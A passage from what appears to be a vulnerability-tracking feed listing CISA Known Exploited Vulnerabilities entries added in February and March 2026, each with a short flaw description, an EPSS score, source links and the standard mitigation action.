FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3910&date=2026-10-25
CISA added this entry on 2026-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 13, 2026; federal due date Mar 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Skia Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2026-3909
Google Skia Out-of-Bounds Write Vulnerability (Mar 13, 2026).
Google Skia contains an out-of-bounds write vulnerability that could allow a remote attacker to perform out of bounds memory access via a crafted HTML page. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products.
EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3909&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-3909: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3909&date=2026-10-25
CISA added this entry on 2026-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 13, 2026; federal due date Mar 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### n8n Improper Control of Dynamically-Managed Code Resources Vulnerability
https://kevwire.com/record/CVE-2025-68613
n8n Improper Control of Dynamically-Managed Code Resources Vulnerability (Mar 11, 2026).
n8n contains an improper control of dynamically managed code resources vulnerability in its workflow expression evaluation system that allows for remote code execution.
EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-68613&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-68613: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-68613&date=2026-10-25
CISA added this entry on 2026-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 11, 2026; federal due date Mar 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Omnissa Workspace ONE Server-Side Request Forgery
https://kevwire.com/record/CVE-2021-22054
Omnissa Workspace ONE Server-Side Request Forgery (Mar 9, 2026).
Omnissa Workspace One UEM formerly known as VMware Workspace One UEM contains a server-side request forgery (SSRF) vulnerability that could allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22054&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22054: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22054&date=2026-10-25
CISA added this entry on 2026-03-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 9, 2026; federal due date Mar 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2025-26399
SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability (Mar 9, 2026).
SolarWinds Web Help Desk contain a deserialization of untrusted data vulnerability in AjaxProxy that could allow an attacker to run commands on the host machine.
EPSS 90.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-26399&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-26399: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-26399&date=2026-10-25
CISA added this entry on 2026-03-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 9, 2026; federal due date Mar 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager (EPM) Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2026-1603
Ivanti Endpoint Manager (EPM) Authentication Bypass Vulnerability (Mar 9, 2026).
Ivanti Endpoint Manager (EPM) contains an authentication bypass using an alternate path or channel vulnerability that could allow a remote unauthenticated attacker to leak specific stored credential data.
EPSS 88.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-1603&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-1603: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-1603&date=2026-10-25
CISA added this entry on 2026-03-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 9, 2026; federal due date Mar 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Hikvision Multiple Products Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2017-7921
Hikvision Multiple Products Improper Authentication Vulnerability (Mar 5, 2026).
Multiple Hikvision products contain an improper authentication vulnerability that could allow a malicious user to escalate privileges on the system and gain access to sensitive information.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-7921&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-7921: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-7921&date=2026-10-25
CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Rockwell Multiple Products Insufficient Protected Credentials Vulnerability
https://kevwire.com/record/CVE-2021-22681
Rockwell Multiple Products Insufficient Protected Credentials Vulnerability (Mar 5, 2026).
Multiple Rockwell products contain an insufficient protected credentials vulnerability. Studio 5000 Logix Designer software may allow a key to be discovered. This key is used to verify Logix controllers are communicating with Rockwell Automation design software. If successfully exploited, this vulnerability could allow an unauthorized application to connect with Logix controllers. To leverage this vulnerability, an unauthorized user would require network access to the controller.
EPSS 63.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22681&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22681: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22681&date=2026-10-25
CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple products Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2023-43000
Apple Multiple products Use-After-Free Vulnerability (Mar 5, 2026).
Apple macOS, iOS, iPadOS, and Safari 16.6 contain a use-after-free vulnerability due to the processing of maliciously crafted web content that may lead to memory corruption.
EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-43000&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-43000: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-43000&date=2026-10-25
CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Integer Overflow or Wraparound Vulnerability
https://kevwire.com/record/CVE-2021-30952
Apple Multiple Products Integer Overflow or Wraparound Vulnerability (Mar 5, 2026).
Apple tvOS, macOS, Safari, iPadOS and watchOS contain an integer overflow or wraparound vulnerability due to the processing of maliciously crafted web content that may lead to arbitrary code execution.
EPSS 7.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30952&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30952: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30952&date=2026-10-25
CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS and iPadOS Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2023-41974
Apple iOS and iPadOS Use-After-Free Vulnerability (Mar 5, 2026).
Apple iOS and iPadOS contain a use-after-free vulnerability. An app may be able to execute arbitrary code with kernel privileges.
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41974&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41974: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41974&date=2026-10-25
CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Broadcom VMware Aria Operations Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-22719
Broadcom VMware Aria Operations Command Injection Vulnerability (Mar 3, 2026).
Broadcom VMware Aria Operations formerly known as vRealize Operations (vROps) contains a command injection vulnerability that allows an unauthenticated attacker to execute arbitrary commands, potentially leading to remote code execution during support‑assisted product migration.
EPSS 18.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-22719&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-22719: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-22719&date=2026-10-25
CISA added this entry on 2026-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2026; federal due date Mar 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2026-21385
Qualcomm Multiple Chipsets Memory Corruption Vulnerability (Mar 3, 2026).
Multiple Qualcomm chipsets contain a memory corruption vulnerability while using alignments for memory allocation.
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21385&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21385: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21385&date=2026-10-25
CISA added this entry on 2026-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2026; federal due date Mar 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco SD-WAN Path Traversal Vulnerability
https://kevwire.com/record/CVE-2022-20775
Cisco SD-WAN Path Traversal Vulnerability (Feb 25, 2026).
Cisco SD-WAN CLI contains a path traversal vulnerability that could allow an authenticated local attacker to gain elevated privileges via improper access controls on commands within the application CLI. A successful exploit could allow the attacker to execute arbitrary commands as the root user.
EPSS 12.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20775&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-20775: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20775&date=2026-10-25
CISA added this entry on 2026-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 25, 2026; federal due date Feb 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst SD-WAN Controller and Manager Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2026-20127
Cisco Catalyst SD-WAN Controller and Manager Authentication Bypass Vulnerability (Feb 25, 2026).
Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, contain an authentication bypass vulnerability could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system. This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to an affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric.
EPSS 89.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20127&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20127: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20127&date=2026-10-25
CISA added this entry on 2026-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 25, 2026; federal due date Feb 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Soliton Systems K.K FileZen OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-25108
Soliton Systems K.K FileZen OS Command Injection Vulnerability (Feb 24, 2026).
Soliton Systems K.K FileZen contains an OS command injection vulnerability when an user logs-in to the affected product and sends a specially crafted HTTP request.
EPSS 5.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-25108&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-25108: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-25108&date=2026-10-25
CISA added this entry on 2026-02-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 24, 2026; federal due date Mar 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### RoundCube Webmail Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2025-49113
RoundCube Webmail Deserialization of Untrusted Data Vulnerability (Feb 20, 2026).
RoundCube Webmail contains a deserialization of untrusted data vulnerability that allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-49113&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-49113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-49113&date=2026-10-25
CISA added this entry on 2026-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 20, 2026; federal due date Mar 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### RoundCube Webmail Cross-site Scripting Vulnerability
https://kevwire.com/record/CVE-2025-68461
RoundCube Webmail Cross-site Scripting Vulnerability (Feb 20, 2026).
RoundCube Webmail contains a cross-site scripting vulnerability via the animate tag in an SVG document.
EPSS 27.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-68461&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-68461: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-68461&date=2026-10-25
CISA added this entry on 2026-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 20, 2026; federal due date Mar 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GitLab Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2021-22175
GitLab Server-Side Request Forgery (SSRF) Vulnerability (Feb 18, 2026).
GitLab contains a server-side request forgery (SSRF) vulnerability when requests to the internal network for webhooks are enabled.
EPSS 53.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22175&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22175: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22175&date=2026-10-25
CISA added this entry on 2026-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 18, 2026; federal due date Mar 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dell RecoverPoint for Virtual Machines (RP4VMs) Use of Hard-coded Credentials Vulnerability
https://kevwire.com/record/CVE-2026-22769
Dell RecoverPoint for Virtual Machines (RP4VMs) Use of Hard-coded Credentials Vulnerability (Feb 18, 2026).
Dell RecoverPoint for Virtual Machines (RP4VMs) contains an use of hard-coded credentials vulnerability that could allow an unauthenticated remote attacker to gain unauthorized access to the underlying operating system and root-level persistence.
EPSS 13.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-22769&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-22769: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-22769&date=2026-10-25
CISA added this entry on 2026-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 18, 2026; federal due date Feb 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery Vulnerability
https://kevwire.com/record/CVE-2020-7796
Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery Vulnerability (Feb 17, 2026).
Synacor Zimbra Collaboration Suite (ZCS) contains a server-side request forgery vulnerability if WebEx zimlet installed and zimlet JSP is enabled.
EPSS 93.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-7796&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-7796: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-7796&date=2026-10-25
CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 17, 2026; federal due date Mar 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TeamT5 ThreatSonar Anti-Ransomware Unrestricted Upload of File with Dangerous Type Vulnerability
https://kevwire.com/record/CVE-2024-7694
TeamT5 ThreatSonar Anti-Ransomware Unrestricted Upload of File with Dangerous Type Vulnerability (Feb 17, 2026).
TeamT5 ThreatSonar Anti-Ransomware contains an unrestricted upload of file with dangerous type vulnerability. ThreatSonar Anti-Ransomware does not properly validate the content of uploaded files. Remote attackers with administrator privileges on the product platform can upload malicious files, which can be used to execute arbitrary system commands on the server.
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7694&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-7694: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7694&date=2026-10-25
CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 17, 2026; federal due date Mar 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Video ActiveX Control Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2008-0015
Microsoft Windows Video ActiveX Control Remote Code Execution Vulnerability (Feb 17, 2026).
Microsoft Windows Video ActiveX Control contains a remote code execution vulnerability. An attacker could exploit the vulnerability by constructing a specially crafted Web page. When a user views the Web page, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user.
EPSS 76.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-0015&date=2026-10-25).
Sources:
CISA KEV entry CVE-2008-0015: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-0015&date=2026-10-25
CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 17, 2026; federal due date Mar 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium CSS Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2026-2441
Google Chromium CSS Use-After-Free Vulnerability (Feb 17, 2026).
Google Chromium CSS contains a use-after-free vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 55.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-2441&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-2441: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-2441&date=2026-10-25
